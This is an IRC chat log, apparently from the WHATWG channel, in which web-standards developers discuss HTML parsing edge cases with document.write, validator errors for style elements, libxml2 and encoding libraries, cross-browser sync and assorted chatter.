[20:04:01.0000] <karlcow>
Mechanical Turk :)

[20:57:00.0000] <MikeSmith>
nessy: you reported your crasher?

[00:32:00.0000] <nattokirai>
fantasai: ping

[00:32:01.0000] <nattokirai>
fantasai: wondering what i should do about invalid font test...

[00:33:00.0000] <nattokirai>
remove it or stub it out?

[02:28:00.0000] <jgraham>
HTML parsing pop quiz:

[02:29:00.0000] <jgraham>
<script>document.write("<plaintext>Filler"); document.close()</script>

[02:30:00.0000] <jgraham>
What does the DOM look like after document.close?

[02:30:01.0000] <wirepair>
broken?

[02:30:02.0000] <wirepair>
does broken count? :)

[02:31:00.0000] <jgraham>
No :)

[02:31:01.0000] <gsnedders>
Is it not just <plaintext>Filler?

[02:31:02.0000] <jgraham>
gsnedders: The theory is that it is not

[02:32:00.0000] <jgraham>
The theory might be wrong :)

[02:32:01.0000] <jgraham>
(biab)

[02:37:00.0000] <hsivonen>
jgraham: <html><head></head><body><plaintext>Filler</plaintext></body></html>

[02:37:01.0000] <hsivonen>
jgraham: (I didn't cheat. That is, I didn't actually try running your snippet.)

[02:39:00.0000] <abarth>
hum

[02:39:01.0000] <abarth>
no script tag?

[02:40:00.0000] <abarth>
seems like that would still be in the dom

[02:40:01.0000] <gsnedders>
Well, yeah. But I'm not convinced that's the interesting part. :P

[02:41:00.0000] <abarth>
i'm not sure whether we've properly handled all the document.close() cases

[02:41:01.0000] <hsivonen>
oh. I misread. I though the calling code was outside the document itself given .close()

[02:41:02.0000] <abarth>
especially with synchronous script execution with nested insertion points

[02:42:00.0000] <abarth>
exactly how synchronous it is is tricky

[02:42:01.0000] <abarth>
but this isn't one of those cases

[02:53:00.0000] <jgraham>
The theory is that the document.close() does nothing and, at the point it is called there is no <plaintext> in the DOM because EOF has not yet been reached

[02:55:00.0000] <jgraham>
(If this theory is true the results of nesting the whole construct inside a document.write of its own would be interestingly different)

[03:13:00.0000] <hsivonen>
jgraham: why wouldn't both the plaintext element and its child text node be already in the DOM at the point of calling .close()?

[03:13:01.0000] <hsivonen>
jgraham: I thought the spec changed to require that

[03:14:00.0000] <hsivonen>
jgraham: I expect it's even tested on html5test.com

[03:16:00.0000] <jgraham>
hsivonen: The theory could be wong, like I said, but I thought it only got emitted on EOF

[03:16:01.0000] <jgraham>
*wrong

[03:17:00.0000] <jgraham>
Oh, no, that seems right

[03:18:00.0000] <jgraham>
OK, so the original case I was looking at is more complex

[03:18:01.0000] <jgraham>
Maybe the more complex is needed

[03:18:02.0000] <jgraham>
/me goes spec hunting

[03:20:00.0000] <jgraham>
Right, I oversimplified

[03:21:00.0000] <jgraham>
Or..

[03:21:01.0000] <jgraham>
More thinking less typing

[03:23:00.0000] <jgraham>
Right

[03:24:00.0000] <jgraham>
<script>document.write("<table><plaintext>Filler"); document.close()</script> was the original case

[03:24:01.0000] <jgraham>
more or less

[03:25:00.0000] <jgraham>
And in this case at the point of document.close the dom should have the <plaintext>, the <table> but *not* the string "Filler"

[03:32:00.0000] <zcorpan>
 http://software.hixie.ch/utilities/js/live-dom-viewer/saved/673

[03:35:00.0000] <zcorpan>
<table> is a neat way to make some content load later but appear earlier in the dom

[03:35:01.0000] <zcorpan>
too bad it's invalid to do that :)

[03:38:00.0000] <jgraham>
Where "neat" in this case mean "non-interoperable and weird"

[03:40:00.0000] <zcorpan>
it'll soon be interoperable

[03:41:00.0000] <zcorpan>
oooh 11 alpha

[03:45:00.0000] <othree>
http://addons.labs.opera.com/addons/extensions/

[03:45:01.0000] <zcorpan>
hmm, wonder why the background and canvas examples don't work in opera in http://blog.dholbert.org/2010/10/svg-as-image.html

[03:45:02.0000] <othree>
sorry

[03:45:03.0000] <othree>
wrong channel

[04:27:00.0000] <annevk>
hello

[04:28:00.0000] <annevk>
still not published

[04:28:01.0000] <annevk>
hmm

[04:28:02.0000] <annevk>
later today?

[04:34:00.0000] <hsivonen>
Re: Shane's email, shouldn't one want spec writers to go all Hixie?

[04:58:00.0000] <zcorpan>
hsivonen: which email?

[05:01:00.0000] <jgraham>
hsivonen: I think "writing clear accurate specs" was not what he had in mind

[05:01:01.0000] <jgraham>
I'm not sure what he *did* have in mind though

[05:03:00.0000] <Philip`>
I assumed it was about him not advocating switching to an incompatible design that can be understood by more than 10 people in the world

[05:05:00.0000] <zcorpan>
ah, found link in the logs

[05:05:01.0000] <hsivonen>
yeah, I meant the link in the logs

[05:06:00.0000] <kuya>
hello, validators are telling me that im missing required attributes with `<style type="text/css">` - ive looked at the html5 spec but i dont see what im missing 

[05:07:00.0000] <kuya>
any hints?

[05:07:01.0000] <Philip`>
It probably means you need to move it into your <head>, if I remember correctly

[05:07:02.0000] <kuya>
ahh i do have one not in the head ...

[05:07:03.0000] <Philip`>
(You can only use <style scoped> inside <body>, which is why it complains about the missing scoped attribute, I think)

[05:08:00.0000] <jgraham>
/me wonders if the scoped feature will survive

[05:08:01.0000] <hsivonen>
yes, the validator wants to see the scoped attribute

[05:08:02.0000] <hsivonen>
jgraham: I doubt it

[05:08:03.0000] <kuya>
thanks guys 

[05:08:04.0000] <zcorpan>
the attribute that's missing is scoped="" (since you put the style in body)

[05:13:00.0000] <annevk>
almost flying time yay

[05:13:01.0000] <jgraham>
(but the problem is not that the attribute is missing, but that you put <style> in <body>)

[05:14:00.0000] <kuya>
yes it was a mistake from old code 

[05:14:01.0000] <kuya>
didnt think i had any of those left 

[05:44:00.0000] <MikeSmith>
so http://twitter.com/#!/hsivonen/status/28004974377 seems to imply you might be working on releasing a standalone version of the gecko/vnu HTML5 parser

[05:44:01.0000] <MikeSmith>
which would be very cool

[05:45:00.0000] <MikeSmith>
if that is in fact a goal

[05:46:00.0000] <jgraham>
hsivonen: libxml2

[05:47:00.0000] <hsivonen>
MikeSmith: not working but planning without any promise or commitment or schedule

[05:48:00.0000] <hsivonen>
/me wonders what C or C++ people use to convert various encodings into UTF-8

[05:48:01.0000] <MikeSmith>
hsivonen: OK, understood

[05:49:00.0000] <hsivonen>
libiconv looks surprisingly bad

[05:49:01.0000] <MikeSmith>
I was about to say…

[05:49:02.0000] <MikeSmith>
I think that is what most use

[05:49:03.0000] <Philip`>
/me handles XML in C++ via a system that first uses libxml2 to convert the XML to a custom binary format, and then the rest of the application uses a custom API to read that custom binary format

[05:49:04.0000] <jgraham>
hsivonen: Getting a real HTML parser into libxml2 would be amazingly awesome

[05:50:00.0000] <hsivonen>
it has the same API design error that causes Gecko to be unable to detect an incomplete byte sequence right before EOF in multibyte encodings

[05:50:01.0000] <hsivonen>
it being libiconv

[05:50:02.0000] <MikeSmith>
well, somebody should fix that

[05:50:03.0000] <hsivonen>
AFAICT, ICU converts to UTF-16

[05:50:04.0000] <MikeSmith>
since iconv is in fact used all the hell all over the place

[05:51:00.0000] <hsivonen>
it's probably easier to fix Gecko's internal APIs than to fix the libiconv public API

[05:51:01.0000] <MikeSmith>
libxml2 does rely on iconv

[05:51:02.0000] <MikeSmith>
for example

[05:51:03.0000] <hsivonen>
(it's also possible that I have misunderstood the libiconv API)

[05:51:04.0000] <MikeSmith>
I think

[05:52:00.0000] <MikeSmith>
(I meant I think libxml2 relies on iconv)

[05:52:01.0000] <hsivonen>
MikeSmith: yeah, I guess there's no point in trying to fight libiconv if one isn't using ICU

[05:54:00.0000] <MikeSmith>
it may be that libiconv is broken by design that way

[05:54:01.0000] <MikeSmith>
just thinking out loud

[05:54:02.0000] <MikeSmith>
for compat of some kind

[05:55:00.0000] <MikeSmith>
I guess that large parts of the FOSS platform may also be in that state

[05:55:01.0000] <MikeSmith>
like the Web platform

[05:55:02.0000] <hsivonen>
indeed

[05:55:03.0000] <MikeSmith>
crap we are effectively stuck with forever

[05:55:04.0000] <Philip`>
Like commercial platforms too

[05:55:05.0000] <MikeSmith>
or for a long time at least

[05:55:06.0000] <MikeSmith>
Philip`: true

[05:55:07.0000] <MikeSmith>
that's a given

[05:56:00.0000] <zcorpan>
everything's crap, and we're stuck in it

[05:56:01.0000] <MikeSmith>
but that's their problem

[05:56:02.0000] <Philip`>
Like most non-computer-related platforms, too

[05:56:03.0000] <MikeSmith>
Philip`:  such as?

[05:58:00.0000] <MikeSmith>
zcorpan: you have given me my translation target for the day

[05:58:01.0000] <Philip`>
Like TV, and electricity, and road systems, and book publishing, and all sorts of things, I guess

[05:58:02.0000] <hsivonen>
after university, I haven't written normal C or C++ code at all. I've been writing on top of all this Mozilla-specific infrastructure, so I don't really know how people really do stuff like stream io outside the Mozilla land

[05:59:00.0000] <hsivonen>
but I imagine no one really writes big apps in the io style shown in Stroustrup's book

[05:59:01.0000] <Philip`>
They're stuck with suboptimal designs because there's lots of interacting parties and it's too expensive to change them all at once

[06:00:00.0000] <MikeSmith>
I think DV addressed the broken dependency problem by reinventing a lot of wheels

[06:00:01.0000] <Philip`>
hsivonen: Most non-trivial projects seem to make up their own project-specific infrastructure, so there isn't any "normal"

[06:00:02.0000] <MikeSmith>
libxml2 seems to have a lot of stuff that it could be relying on libraries for

[06:02:00.0000] <MikeSmith>
wow

[06:02:01.0000] <MikeSmith>
zcorpan: Allt är skit, och vi är fast i den.

[06:02:02.0000] <MikeSmith>
zcorpan: does that sound natural?

[06:02:03.0000] <MikeSmith>
seems to round-trip at least

[06:04:00.0000] <MikeSmith>
oh

[06:04:01.0000] <MikeSmith>
wait

[06:04:02.0000] <MikeSmith>
"stuck _in_ it"

[06:04:03.0000] <MikeSmith>
hmm

[06:04:04.0000] <MikeSmith>
not quite the same at all

[06:04:05.0000] <MikeSmith>
though still a good sentiment

[06:06:00.0000] <Philip`>
Good C++ library design usually seems to involve having as few dependencies as possible, to minimise friction with whatever crazy infrastructure is already used in projects

[06:06:01.0000] <Philip`>
e.g. don't use any libraries for IO (even standard iostreams), just let the application provide a simple callback function

[06:07:00.0000] <Philip`>
(then add an extra layer of convenience API that takes a filename and does sensible default behaviour)

[06:08:00.0000] <hsivonen>
it seems to me that java.io and org.xml.sax have a lot of value even when they suck

[06:10:00.0000] <Philip`>
Yeah, C++ is pretty rubbish at having standard ways to do simple things like that

[06:10:01.0000] <Philip`>
You can't even write a library that uses standard new/delete without some applications considering it unacceptable and requiring a way to override the behaviour

[06:12:00.0000] <MikeSmith>
Philip`: I realize my previous experiences in working on proprietary commercial software does exhibit exactly what you describe

[06:13:00.0000] <MikeSmith>
/me worked a lot at one time on product dev or e-mail infrastructure - MTA, message store, DB interfaces, congestion control stuff, related ldap server, other stuff

[06:14:00.0000] <MikeSmith>
somebody should write a book about this

[06:14:01.0000] <MikeSmith>
along the lines of Mythical Man Month

[06:15:00.0000] <hsivonen>
/me notes that Gecko supplies its own malloc on Windows and Linux and then puts a customized operator new on top of it

[06:15:01.0000] <MikeSmith>
when I worked we used some third-party malloc

[06:15:02.0000] <MikeSmith>
which we had licensed

[06:15:03.0000] <MikeSmith>
/me tries to remember the name

[06:16:00.0000] <MikeSmith>
very common one

[06:16:01.0000] <MikeSmith>
but it was a give that using the platform malloc was a non-starter

[06:16:02.0000] <MikeSmith>
*given

[06:16:03.0000] <hsivonen>
Mozilla uses jemalloc

[06:16:04.0000] <hsivonen>
isn't Lea malloc the other one people like to use?

[06:21:00.0000] <MikeSmith>
SmartHeap is what we used

[06:21:01.0000] <MikeSmith>
I think

[06:22:00.0000] <MikeSmith>
actually, we had our own branch of it

[06:22:01.0000] <MikeSmith>
that we maintained as part of our code

[06:22:02.0000] <MikeSmith>
we licensed in and forked it basically

[06:22:03.0000] <MikeSmith>
further example of the phenomenon Philip` was describing

[06:56:00.0000] <hsivonen>
I'd love to see some kind of tutorial that explains the memory management options for local name strings in the libxml2 DOM

[07:01:00.0000] <rubys>
hsivonen: cool to see you interested in libxml2; I may be able to help starting mid next month

[07:04:00.0000] <hsivonen>
rubys: to set expectations correctly: I'm just trying to find out what steps are required. I don't promise to take those steps at any particular schedule or at all.

[07:05:00.0000] <hsivonen>
rubys: of course, it would be awesome if you did :-)

[07:06:00.0000] <hsivonen>
I'm rather surprised that neither libxml2 nor Xerces C++ has a special interned type for local names

[07:06:01.0000] <hsivonen>
both Gecko and WebKit do interning around this area

[07:07:00.0000] <hsivonen>
hmm. I see that libxml2 docs say something about a dict for names

[07:07:01.0000] <hsivonen>
maybe there's optional interning or something?

[07:08:00.0000] <rubys>
I do a lot of HTML parsing.  Example which helps me keep track of issues and bugs: http://intertwingly.net/stories/2010/10/21/libxml2-html5-test.rb

[07:08:01.0000] <rubys>
wrong link

[07:08:02.0000] <rubys>
http://intertwingly.net/stories/2010/10/21/wgstatus.rb

[07:08:03.0000] <rubys>
example output: http://intertwingly.net/stories/2010/10/21/wgstatus.html

[07:09:00.0000] <rubys>
of course, that depends on being able to parse HTML, and most of the HTML I parse is "mostly" clean

[07:09:01.0000] <karlcow>
ooooh http://developer.apple.com/library/mac/#releasenotes/Java/JavaSnowLeopardUpdate3LeopardUpdate8RN/NewandNoteworthy/NewandNoteworthy.html#//apple_ref/doc/uid/TP40010380-CH4-DontLinkElementID_2

[07:09:02.0000] <hsivonen>
I'm also surprised at how few word are used to talk about the memory management / object ownership considerations in the libxml2 docs

[07:09:03.0000] <karlcow>
"As of the release of Java for Mac OS X 10.6 Update 3, the version of Java that is ported by Apple, and that ships with Mac OS X, is deprecated."

[07:09:04.0000] <rubys>
back to the link I incorrectly posted at first, that is a test of the parser, and here is output: http://intertwingly.net/stories/2010/10/21/libxml2-html5-test.out

[07:10:00.0000] <rubys>
not all of those differences are problems, but most are

[07:10:01.0000] <hsivonen>
makes me wonder if I'm clueless and libxml2 DOM memory management is obvious for everyone else

[07:10:02.0000] <rubys>
http://xmlsoft.org/xmlmem.html

[07:12:00.0000] <hsivonen>
rubys: that page doesn't really explain if its possible to share local name memory between nodes and such

[07:13:00.0000] <rubys>
Author of libxml2 seems active: http://mail.gnome.org/archives/xml/2010-October/thread.html

[07:14:00.0000] <rubys>
look for Daniel Veillard

[07:14:01.0000] <hsivonen>
of course, the easy way would be not to care and use the node creator that always copies the local name

[07:15:00.0000] <rubys>
+1

[07:15:01.0000] <rubys>
get it working, and then fix the problems that are real problems later

[07:15:02.0000] <smaug____>
hsivonen: just wondering, what are you doing?

[07:17:00.0000] <hsivonen>
smaug____: I'm looking at the libxml2 tree API to get an idea what it would take to target the Java to C++ translator to target libxml2 in addition to targeting NSPR/Gecko

[07:18:00.0000] <smaug____>
hsivonen: ah, so the idea is that libxml2 could support html5 parsing

[07:19:00.0000] <hsivonen>
smaug____: the idea is the have a library that does HTML5 parsing and is API-compatible with libxml2

[07:20:00.0000] <hsivonen>
(maybe sometime in the future when Firefox 4 has shipped, etc.)

[07:20:01.0000] <hsivonen>
with emphasis on "maybe"

[07:21:00.0000] <zcorpan>
MikeSmith: Allt är skit, och vi sitter fast i det

[07:22:00.0000] <MikeSmith>
zcorpan: thanks

[07:22:01.0000] <MikeSmith>
/me tweets

[07:23:00.0000] <hsivonen>
first I was inclined to correct MikeSmith with s/den/det/ but then I figured 'den' was right. But apparently 'det' would have been right anyway.

[07:23:01.0000] <MikeSmith>
/me remembers now that hsivonen speaks Swedish too

[07:23:02.0000] <hsivonen>
MikeSmith: for *very* small values of "speak"

[07:24:00.0000] <MikeSmith>
heh

[07:24:01.0000] <smaug____>
all the Finns speak Swedish, well at least a bit 

[07:26:00.0000] <jgraham>
/me had a notion that s/den/det/ was better but has embarassingly bad Swedish

[09:15:00.0000] <annevk>
so a new ARIA document is published...

[09:15:01.0000] <annevk>
I'm still waiting for answers to my previous series of comments

[09:23:00.0000] <annevk>
hsivonen, http://i.imgur.com/51f9p.jpg is great

[09:33:00.0000] <Workshiva>
annevk: And the truth

[12:21:00.0000] <Ms2ger>
/me just found http://www.w3.org/Style/css2-updates/russian/Overview.html

[13:09:00.0000] <Ms2ger>
Look, someone found a bug in XHTML1

[13:09:01.0000] <JonathanNeal>
"To be or not to be" - William Shakespeare ... what is the proper HTML5 markup for this?

[13:10:00.0000] <JonathanNeal>
I used to think it was blockquote+cite, but based on #the-blockquote-element in the spec it would seem not to be.  Anyone around here know?

[13:11:00.0000] <Hixie_>
<p><q>To be or not to be</q> - William Shakespeare ... what is the proper HTML5 markup for this?</p>

[13:11:01.0000] <JonathanNeal>
Williams Shakespeare does not receive a cite, all right.

[13:11:02.0000] <Hixie>
a cite?

[13:11:03.0000] <JonathanNeal>
Yes, a cite, #the-cite-element

[13:12:00.0000] <Hixie>
ah, correct. <cite> is for titles of works.

[13:13:00.0000] <Ms2ger>
Yay for bruce muddling the waters again

[13:13:01.0000] <JonathanNeal>
not for authors? got it.

[15:16:00.0000] <AryehGregor>
So it turns out bidi is complicated.

[15:16:01.0000] <zcorpan>
let's go shopping!

[15:19:00.0000] <Hixie>
AryehGregor: no kidding

[15:19:01.0000] <Hixie>
what made you realise that?

[15:19:02.0000] <AryehGregor>
Aharon's comments on the dir=auto thing.

[15:19:03.0000] <AryehGregor>
I'll have to take some time to read them carefully.

[15:20:00.0000] <AryehGregor>
I'm pretty sure his proposal isn't ideal, but I doubt mine is so great either.

[15:20:01.0000] <Hixie>
ah

[15:20:02.0000] <Hixie>
i wish those bugs started from use cases rather than proposals

[15:21:00.0000] <Hixie>
though we seem to be getting better on that front now

[15:21:01.0000] <AryehGregor>
This is what you get from task forces.

[15:23:00.0000] <jgraham>
The word "tak force" always makes me think that camouflage paint should be involved somewhere

[15:23:01.0000] <jgraham>
*task

[15:29:00.0000] <annevk>
"Task Force" always reminds me of the route we did not take

[15:30:00.0000] <AryehGregor>
Okay, my number-one desired feature right now is that browsers sync history and passwords and stuff between different vendors' browsers.

[15:30:01.0000] <AryehGregor>
Is anyone interested in that, like, at all?

[15:40:00.0000] <jgraham>
AryehGregor: define "anyone"

[15:41:00.0000] <AryehGregor>
"anyone who actually stands a chance of encouraging it to happen"

[15:41:01.0000] <othermaciej>
AryehGregor: there's probably not a lot of people who use browsers from different vendors regularly

[15:42:00.0000] <othermaciej>
so I suspect there is not a lot of demand

[15:42:01.0000] <jgraham>
annevk: Well you it is disappointing that the reality often seems to be less "action man" and more "paralysed by self-imposed bureaucracy man"

[15:42:02.0000] <AryehGregor>
Tons of people use IE at work and some other browser at home.

[15:42:03.0000] <AryehGregor>
Also, it would let people try out other browsers more easily, that's the real point.

[15:42:04.0000] <jgraham>
othermaciej: I believe something called XMarks did this

[15:43:00.0000] <AryehGregor>
So if I want to try out Firefox 4, I don't have to be constantly distracted by having to go look up my login info.

[15:43:01.0000] <AryehGregor>
(which is stored in Chrome)

[15:44:00.0000] <jgraham>
AryehGregor: It seems like a hard problem and even harder to convince browser vendors to implement

[16:02:00.0000] <gsnedders>
jgraham: Yeah, but years of experience tell me that by the time I get close enough to the photos (or more normally, they get close enough to me), it's August and I don't care any more

[16:24:00.0000] <AryehGregor>
jgraham, why is it much harder than intra-browser sync?

[16:25:00.0000] <AryehGregor>
The stuff you're syncing is essentially the same cross-browser, no?

[16:25:01.0000] <Hixie>
it's hard for intra-browser too

[16:25:02.0000] <AryehGregor>
Well, yes, but clearly that's not *too* hard.

[16:28:00.0000] <Hixie>
it's difficulty^N harder to get N browsers to do it in a compatible way

[16:28:01.0000] <Hixie>
(ok i pulled that out of my behind, but the idea is sound)

[16:29:00.0000] <Hixie>
it's even harder than normal since the user benefit is low so it's unlikely anyone will care enough to write a spec, etc8

[16:30:00.0000] <AryehGregor>
On the other hand, if this were widely supported, browsers could scrap their code for importing all this stuff from other browsers, which they currently all have to write anyway.

[16:31:00.0000] <AryehGregor>
And that's surely even more annoying and fragile, because they have to reverse-engineer the other browser's storage formats.

[16:31:01.0000] <Hixie>
*shrug*

[16:32:00.0000] <Hixie>
write a spec, get browsers to implement

[16:32:01.0000] <AryehGregor>
I know the procedure.

[16:32:02.0000] <Hixie>
:-)


2010-10-22
[18:07:00.0000] <GPHemsley>
hsivonen: Hey, your validator sploded on me

[18:08:00.0000] <GPHemsley>
"Internal Error: Oops. That was not supposed to happen. A bug manifested itself in the application internals. Unable to continue. Sorry. The admin was notified."

[18:34:00.0000] <MikeSmith>
well, that's weird

[18:34:01.0000] <MikeSmith>
the "html5" twitter account quit working around end of September

[18:34:02.0000] <Hixie>
wohay, someone finally noticed!

[18:34:03.0000] <MikeSmith>
because I do not have it set up to do Oauth

[18:35:00.0000] <Hixie>
you are the first person to notice

[18:35:01.0000] <MikeSmith>
well, I noticed

[18:35:02.0000] <Hixie>
well, second

[18:35:03.0000] <Hixie>
i noticed when it broke

[18:35:04.0000] <Hixie>
(it=the whatwg twitter stuff)

[18:35:05.0000] <Hixie>
and didn't do anything about it because nobody complained

[18:35:06.0000] <MikeSmith>
Hixie: yeah I mean the "html5" one -- I guess the whatwg one is the same thing

[18:35:07.0000] <Hixie>
yup

[18:36:00.0000] <Hixie>
i took it as a sign that twitter was pointless

[18:36:01.0000] <MikeSmith>
I think I actually just copied your script when I set up the "html5" one

[18:36:02.0000] <MikeSmith>
heh

[18:36:03.0000] <MikeSmith>
amen

[18:36:04.0000] <MikeSmith>
for this kind of stuff at least

[18:36:05.0000] <Hixie>
all i've ever seen on twitter is people bitching

[18:37:00.0000] <MikeSmith>
twitter is now my means for exploring languages I don't speak

[18:37:01.0000] <MikeSmith>
it's useful for that at least

[18:37:02.0000] <MikeSmith>
and I've switched to only tweeting in languages that I don't actually speak nor understand well yet

[18:37:03.0000] <Hixie>
heh

[18:38:00.0000] <Philip`>
/me encountered http://twitlonger.com/ today, which seems quite absurd

[18:38:01.0000] <MikeSmith>
I figure, if I'm going to tweet, I might as well learn a little about it each tiem

[18:38:02.0000] <MikeSmith>
Hixie: anyway, what I was saying was weird was that an "html5" tweet did just get posted

[18:39:00.0000] <MikeSmith>
in spite of me doing nothing to "fix" the no-oauth "problem"

[18:39:01.0000] <MikeSmith>
http://twitter.com/#!/html5/status/28355466520

[18:39:02.0000] <Hixie>
um

[18:39:03.0000] <Hixie>
odd

[18:39:04.0000] <MikeSmith>
so, I don't know why that one went through

[18:39:05.0000] <MikeSmith>
not that I care so much

[18:39:06.0000] <MikeSmith>
just… odd

[18:39:07.0000] <Hixie>
o_O

[18:39:08.0000] <Hixie>
that _is_ odd

[18:40:00.0000] <MikeSmith>
Philip`: the better way to twit longer is to use Chinese

[18:41:00.0000] <MikeSmith>
maybe you heard me say this already, but if you tweet in English, it takes 2.5 to 3 times as much characters as when you tweet in Chinese

[18:41:01.0000] <Hixie>
the better way to tweet longer is to use buzz

[18:42:00.0000] <MikeSmith>
what's buzz? :)

[18:43:00.0000] <MikeSmith>
Philip`: what does http://www.twitlonger.com/ actually do?

[18:43:01.0000] <MikeSmith>
posts multiple tweets in serial?

[18:44:00.0000] <Philip`>
It posts the first n characters of your message and then a link to a page that has the rest of it

[18:46:00.0000] <MikeSmith>
ah

[18:47:00.0000] <MikeSmith>
well, big whoop

[18:47:01.0000] <MikeSmith>
site should then be called "howtotwitlongerforthetotallyclueless"

[18:47:02.0000] <MikeSmith>
or something

[18:47:03.0000] <MikeSmith>
but I guess that was your point

[18:48:00.0000] <MikeSmith>
absure

[18:48:01.0000] <MikeSmith>
absurd

[18:48:02.0000] <MikeSmith>
dammit

[18:48:03.0000] <Philip`>
/me always bears in mind the words of our now Prime Minister, "The trouble with Twitter, the instantness of it - too many twits might make a twat."

[18:48:04.0000] <MikeSmith>
I almost always type "absure" instead of "absurd"

[18:48:05.0000] <MikeSmith>
heh

[18:48:06.0000] <MikeSmith>
did dude really say that?!

[18:48:07.0000] <MikeSmith>
that is gold

[18:49:00.0000] <Philip`>
http://news.bbc.co.uk/1/hi/8176194.stm

[18:51:00.0000] <MikeSmith>
absurd is "hurt" in Welsh

[18:52:00.0000] <MikeSmith>
järjetön

[18:52:01.0000] <MikeSmith>
in Finnish

[18:52:02.0000] <MikeSmith>
which doesn't quite meet my "easier to type" requirement

[18:53:00.0000] <MikeSmith>
there's no really good recognizable cognate for "absurd"

[18:53:01.0000] <MikeSmith>
except for "absurd" that is i

[18:54:00.0000] <MikeSmith>
most European languages just seem to have some variation of "absurd" or "absurd" itself

[18:54:01.0000] <MikeSmith>
I guess because it came from Latin

[18:55:00.0000] <MikeSmith>
RIDICULARIUS

[18:55:01.0000] <MikeSmith>
now, that's a great word

[18:55:02.0000] <MikeSmith>
way better than just plan "ridiculous"

[19:00:00.0000] <MikeSmith>
"surreal" is "swrrealaidd" in Welsh

[19:00:01.0000] <MikeSmith>
even _looks_  surreal

[19:00:02.0000] <MikeSmith>
Welsh is a trip

[19:03:00.0000] <MikeSmith>
Google Translate gives "epätodellinen" for Finnish translation of "surreal"

[19:03:01.0000] <MikeSmith>
which actually seems to be more like "unreal"

[19:03:02.0000] <MikeSmith>
http://en.wiktionary.org/wiki/ep%C3%A4todellinen

[19:03:03.0000] <MikeSmith>
epä- +‎ todellinen

[19:04:00.0000] <MikeSmith>
epä- = "un-"

[19:07:00.0000] <MikeSmith>
/me wonders if gsnedders speaks Scottish Gaelic at all

[19:08:00.0000] <MikeSmith>
Wiktionary is a great source for examining translations for single words

[19:08:01.0000] <MikeSmith>
e.g., http://en.wiktionary.org/wiki/surreal

[19:09:00.0000] <MikeSmith>
but you need to set the Visibility > Show translations option

[19:10:00.0000] <MikeSmith>
http://en.wiktionary.org/wiki/os-fh%C3%ACreach#Scottish_Gaelic

[19:10:01.0000] <MikeSmith>
os-fhìreach = surreal

[19:11:00.0000] <MikeSmith>
/me shuts up because he realizes that the odds of anybody else here caring to hear about this here are close to nil

[20:07:00.0000] <robman>
afternoon all

[20:09:00.0000] <MikeSmith>
hey robman 

[20:09:01.0000] <MikeSmith>
how's the weather in Australia?

[20:09:02.0000] <MikeSmith>
/me misses it already

[20:09:03.0000] <robman>
sunny and hot

[20:09:04.0000] <MikeSmith>
nice

[20:09:05.0000] <robman>
you back in japan?

[20:09:06.0000] <MikeSmith>
yup

[20:09:07.0000] <robman>
noice

[20:09:08.0000] <MikeSmith>
at home but heading out for lunch soon

[20:10:00.0000] <MikeSmith>
with a friend here who works for Mozilla

[20:10:01.0000] <robman>
yum...have fun

[20:10:02.0000] <MikeSmith>
so I got to schlep off to the other side of town

[20:10:03.0000] <MikeSmith>
I wish they'd move their office somewhere more convenient for me :)

[20:11:00.0000] <robman>
schlep is a word that's appearing in my life more and more nowadays

[20:11:01.0000] <MikeSmith>
heh

[20:11:02.0000] <MikeSmith>
well, that sounds bad

[20:12:00.0000] <robman>
i was lugging way too many laptops and a tripod all over Seoul - I feel shorter now

[20:12:01.0000] <MikeSmith>
ah yeah

[20:12:02.0000] <MikeSmith>
how did that meeting go, btw?

[20:12:03.0000] <MikeSmith>
the AR thing, right?

[20:12:04.0000] <robman>
really productive

[20:12:05.0000] <robman>
yah

[20:12:06.0000] <robman>
very intereting bunch of people

[20:12:07.0000] <MikeSmith>
ETRI people were there?

[20:12:08.0000] <robman>
yos

[20:12:09.0000] <robman>
and ogc

[20:13:00.0000] <MikeSmith>
great

[20:13:01.0000] <robman>
and khronos

[20:13:02.0000] <robman>
etc

[20:13:03.0000] <MikeSmith>
oh

[20:13:04.0000] <MikeSmith>
Khronos is a big plus for sure

[20:13:05.0000] <robman>
Neil was awesome...he really listened and engaged

[20:13:06.0000] <MikeSmith>
great

[20:13:07.0000] <robman>
wants to evangelise a common time system across all sensor related things to the khronos members

[20:13:08.0000] <robman>
would be great for sensor fusion/etc

[20:14:00.0000] <MikeSmith>
interesting

[20:14:01.0000] <MikeSmith>
did WebGL come up at all?

[20:14:02.0000] <robman>
aboslutely

[20:14:03.0000] <MikeSmith>
neat

[20:14:04.0000] <MikeSmith>
minutes available anywhere yet?

[20:14:05.0000] <robman>
and he's really keen to work with the w3c folks on improving the composition model

[20:14:06.0000] <robman>
yeah...holon

[20:15:00.0000] <MikeSmith>
what would "improving the composition model" mean in practice, I wonder?

[20:15:01.0000] <robman>
general notes here http://www.perey.com/ARStandardsMeetingOutputs.html and his notes here http://www.perey.com/ARStandards/Khronos_Standards_for_Mobile_AR.pdf

[20:15:02.0000] <MikeSmith>
/me takes a gander

[20:17:00.0000] <robman>
MikeSmith when you get a chance please checkout this too http://www.slideshare.net/robman/patterns-of-interest-iswar-seoul-2010

[20:17:01.0000] <MikeSmith>
will do

[20:17:02.0000] <robman>
i'd especially like to discuss slides 18-20 with you 8)

[20:17:03.0000] <MikeSmith>
hai

[20:18:00.0000] <MikeSmith>
man

[20:18:01.0000] <MikeSmith>
this whole presentation looks pretty interesting actually

[20:18:02.0000] <robman>
aw shux

[20:19:00.0000] <MikeSmith>
I have personally been away from this stuff for a while

[20:19:01.0000] <MikeSmith>
professionally I mean

[20:19:02.0000] <MikeSmith>
I don't remember if I told you that before W3C I did work mostly for the mobile market

[20:19:03.0000] <MikeSmith>
product dev

[20:19:04.0000] <MikeSmith>
backend stuff

[20:19:05.0000] <MikeSmith>
and client stuff

[20:19:06.0000] <MikeSmith>
also

[20:19:07.0000] <robman>
cool

[20:20:00.0000] <robman>
i gotta run to a meeting...have a great lunch and lets chat later

[20:20:01.0000] <robman>
boi

[20:20:02.0000] <MikeSmith>
in your slides, what are "triggers"?

[20:21:00.0000] <MikeSmith>
eh?

[20:21:01.0000] <MikeSmith>
I don't know "boi" either

[20:21:02.0000] <MikeSmith>
acronym?

[20:22:00.0000] <robman>
sorry...that was bye

[20:22:01.0000] <robman>
8)

[20:22:02.0000] <robman>
ill bbak later

[20:23:00.0000] <MikeSmith>
k

[20:23:01.0000] <MikeSmith>
I gotta go soon too

[20:24:00.0000] <MikeSmith>
but wanted to say you might want to consider coming to the Internet of Things conference in Tokyo at the end of November

[20:24:01.0000] <MikeSmith>
I helped out with review of some papers for that

[20:25:00.0000] <karlcow>
/me wishes he could go to this conf, but can't go out of Canada before Jan

[20:25:01.0000] <MikeSmith>
too bad for you karlcow

[20:25:02.0000] <MikeSmith>
I hope you learned your lesson

